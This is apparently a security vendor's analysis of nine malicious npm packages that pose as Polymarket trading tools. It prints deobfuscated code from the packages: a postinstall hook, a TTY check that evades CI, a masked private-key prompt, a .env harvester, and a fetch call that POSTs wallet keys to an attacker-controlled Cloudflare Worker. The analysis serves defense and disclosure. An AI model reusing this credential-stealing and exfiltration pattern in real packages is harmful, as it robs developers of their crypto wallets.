Polymarket npm Packages Steal Crypto Wallet Keys

TL;DR

Nine npm packages published within a 30 second window by the same throwaway account (polymarketdev) impersonate Polymarket trading CLI tools. On install, a postinstall script displays a fake wallet onboarding prompt that asks the user to paste their private key, claiming “it stays encrypted.” The script POSTs the raw key in plaintext to a Cloudflare Worker at hxxps://polymarketbot[.]polymarketdev[.]workers[.]dev/v1/wallets/keys. No encryption happens at any point. One package, polymarket-claude-code, targets developers using AI coding assistants for trading workflows.

Impact:

• Exfiltrates raw Ethereum/Polygon private keys to attacker-controlled infrastructure
• Social engineers victims into pasting private keys with a false “stays encrypted” claim
• Creates a persistent ~/.polybot/ directory with a device fingerprint, enabling victim tracking across sessions
• Reads .env files from the current working directory, harvests any PRIVATE_KEY environment variable without user interaction
• Evades detection in CI/CD: the prompt only triggers in interactive TTY sessions

Indicators of Compromise (IoC):

Analysis

Package Overview

All nine packages were published on May 20, 2026, between 23:30 and 23:32 UTC by the npm account polymarketdev, registered to [email protected] (a Proton Mail address). Each package had two versions (0.1.0 and 0.1.1) published within two minutes. The only difference between packages is the name field in package.json. All nine ship the same dist/index.js payload (SHA-256: e01b85c1437085a519217338fe4ee5ed7858c28a10f8c1477b2f1857c3386edb).

The package.json metadata across all nine packages points to a single GitHub repository, texsellix/polymarket-trading-bot, which has 69 stars and 22 forks. The repository README describes an elaborate monorepo architecture (“four packages: CLI, SDK, Core, Engine”) and makes explicit security claims: “Wallet keys are encrypted before they leave your machine” and “Plaintext keys live in memory only at sign time.” Both claims are false, as the source code confirms below.

The package names cover multiple search vectors a Polymarket trader might try: generic (polymarket-trade, polymarket-bot), workflow-specific (polymarket-copy-trading, polymarket-auto-trade), and AI-tooling-specific (polymarket-claude-code, polymarket-ai-agent). polymarket-claude-code targets developers using AI coding assistants for trading, a growing pattern in crypto circles.

Execution Trigger

The attack chain starts with a postinstall hook in package.json:

1
{
2
  "scripts": {
3
    "postinstall": "node scripts/postinstall.mjs"
4
  }
5
}

The postinstall.mjs script checks for an interactive TTY before displaying any output. In CI/CD pipelines or non-interactive shells, it prints a one-liner (“polybot installed”) and exits, avoiding detection by automated security tooling:

1
function isInteractive() {
2
  return Boolean(process.stdout.isTTY && process.stdin.isTTY);
3
}
4

5
async function run() {
6
  if (process.env.POLYBOT_SKIP_ONBOARD === '1') return;
7
  if (!isInteractive()) {
8
    hint(); // prints "polybot installed. Run `polybot login` when you're ready."
9
    return;
10
  }
11
  // ... displays banner and spawns dist/index.js login
12
}

When a TTY is present, the script renders a colorful banner with ANSI escape codes and a direct call to action:

1
"  " + paint(ANSI.yellow, "→") + " " + paint(ANSI.bold,
2
    "Paste your wallet key below — it stays encrypted."),

“it stays encrypted” is false. The script spawns the bundled dist/index.js with the login subcommand, which handles key collection and exfiltration.

Private Key Collection

The login command (e2() in the bundled code) collects the private key through one of two paths:

Path 1: Interactive prompt. A masked readline prompt displays asterisks as the user types, mimicking a password field. The raw key is retained in memory:

1
// dist/index.js (deobfuscated names)
2
function maskedPrompt(promptText) {
3
  return new Promise((resolve) => {
4
    let rl = createInterface({ input: process.stdin, output: process.stdout, terminal: true });
5
    let stdout = process.stdout;
6
    stdout.write(promptText);
7
    let stdin = process.stdin;
8
    let onData = (chunk) => {
9
      let str = chunk.toString('utf8');
10
      stdout.write('\x1B[K'); // clear line — hides actual input
11
      if (str !== '\r' && str !== '\n' && str !== '') stdout.write('*'.repeat(str.length));
12
    };
13
    stdin.on('data', onData);
14
    rl.question('', (answer) => {
15
      stdin.removeListener('data', onData);
16
      stdout.write('\n');
17
      rl.close();
18
      resolve(answer.trim());
19
    });
20
  });
21
}

Path 2: Environment variable. The code also reads PRIVATE_KEY from the environment or from a .env file in the current directory:

1
// dist/index.js (deobfuscated)
2
let key = args['private-key'] || process.env.PRIVATE_KEY;
3
if (!key) {
4
  key = await maskedPrompt(bold('  wallet key ') + gray('(hidden) ') + '› ');
5
}

The .env loader runs before any prompt:

1
// dist/index.js (deobfuscated)
2
function loadEnv(filename = '.env') {
3
  let filepath = resolve(process.cwd(), filename);
4
  if (existsSync(filepath))
5
    for (let line of readFileSync(filepath, 'utf8').split('\n')) {
6
      let match = line.match(/^\s*([A-Z0-9_]+)\s*=\s*"?([^"\n]*)"?\s*$/);
7
      if (match && !process.env[match[1]]) process.env[match[1]] = match[2];
8
    }
9
}

Any project with a .env file containing PRIVATE_KEY=0x... (common in Polymarket bot development) loses that key without the user seeing any prompt.

Data Exfiltration

The code sends the collected key to the attacker’s Cloudflare Worker in plaintext JSON:

1
// dist/index.js (deobfuscated)
2
var C2_BASE = 'https://polymarketbot.polymarketdev.workers.dev';
3

4
function apiHeaders(deviceId) {
5
  return {
6
    'content-type': 'application/json',
7
    'x-polybot-device': deviceId,
8
    'user-agent': `polybot-cli/${process.env.npm_package_version ?? '0.1.0'}`,
9
  };
10
}
11

12
async function apiCall(method, path, deviceId, body) {
13
  let response = await fetch(`${C2_BASE}${path}`, {
14
    method: method,
15
    headers: apiHeaders(deviceId),
16
    body: body ? JSON.stringify(body) : undefined,
17
  });
18
  if (!response.ok) {
19
    let text = await response.text().catch(() => '');
20
    throw new Error(`[remote-vault] ${method} ${path} → ${response.status}: ${text}`);
21
  }
22
  return await response.json();
23
}
24

25
var RemoteVault = {
26
  async push(deviceId, privateKey, label) {
27
    return apiCall('POST', '/v1/wallets/keys', deviceId, { privateKey, label });
28
  },
29
  async list(deviceId) {
30
    return apiCall('GET', '/v1/wallets/keys', deviceId);
31
  },
32
  async forget(deviceId, address) {
33
    return apiCall('DELETE', `/v1/wallets/keys/${address}`, deviceId);
34
  },
35
};

push sends { privateKey: "0x...", label: "..." } as a plain JSON body. The raw hex private key travels over HTTPS to the Worker, but no client-side encryption happens. The “encrypted in transit” claim from the README refers to TLS alone, which protects the key from network observers but not from the Worker operator (the attacker).

The x-polybot-device header contains a UUID generated on first run and persisted to ~/.polybot/device.json, letting the attacker correlate multiple keys from the same victim.

Local Persistence

The package creates a ~/.polybot/ directory with two files:

• device.json: contains a deviceId (UUID) and createdAt timestamp, written with mode 0600
• wallets.json: stores the Ethereum address, a keccak256 fingerprint of the key, an optional label, and a pushedAt timestamp

1
// dist/index.js (deobfuscated)
2
function getPolybotHome() {
3
  let dir = process.env.POLYBOT_HOME ?? join(homedir(), '.polybot');
4
  if (!existsSync(dir)) mkdirSync(dir, { recursive: true, mode: 0o700 });
5
  return dir;
6
}

The fingerprint function uses keccak256 truncated to 8 bytes (not reversible to the key), but the raw key has already left the machine at this point. The local files serve as tracking artifacts.

The Credibility Apparatus

The attacker built a credibility layer around the theft:

• GitHub repository (texsellix/polymarket-trading-bot) with 69 stars and 22 forks (likely purchased or botted)
• Detailed README describing a monorepo with four packages, proxy wallet support, and multiple trading strategies
• SECURITY.md and CONTRIBUTING.md files in the repo, mimicking mature open source projects
• Paper trading default (“Every trading command runs in paper mode by default. Add --live to commit real USDC.”) that suggests careful, user-friendly design
• Masking input as asterisks during the prompt, mimicking legitimate password entry patterns
• Professional error messages (“couldn’t reach polybot. check your connection and try again.”) that disguise exfiltration failures as network errors

The bundled dist/index.js (711 KB) includes legitimate dependencies: the full Polymarket CLOB client SDK, ethers.js, Zod validation, pino logger, and WebSocket handling. The attacker wrapped real trading functionality around the theft. Commands like scan, quote, trade, and copy make real Polymarket API calls. Someone who installs the package and uses it for trading may never suspect the “login” step was the entire attack.

Conclusion

The attacker built a functional trading CLI around a credential theft operation. Social engineering carries the attack: the postinstall prompt looks like standard wallet onboarding, the masking mimics secure input, and the GitHub repo provides false credibility. The .env harvesting path is the more dangerous vector. Developers who store PRIVATE_KEY in their environment (standard practice for Polymarket bot development) lose their keys without seeing any prompt.

Two of the package names (polymarket-claude-code, polymarket-ai-agent) target developers who install packages suggested by LLM-based tools, which may not evaluate package provenance.

If you installed any of these packages, rotate any wallet keys that were entered or present in your environment. Check for ~/.polybot/ and remove it. Scan your project dependencies with vet to catch packages from single-version, single-maintainer accounts with no prior publish history. For runtime protection against malicious postinstall scripts, pmg can intercept and block unauthorized network calls and filesystem access during package installation.

References

• npm registry: polymarket-trading-cli
• npm registry: polymarket-claude-code
• GitHub: texsellix/polymarket-trading-bot
• SafeDep vet: open source dependency scanner
• SafeDep pmg: runtime protection for package managers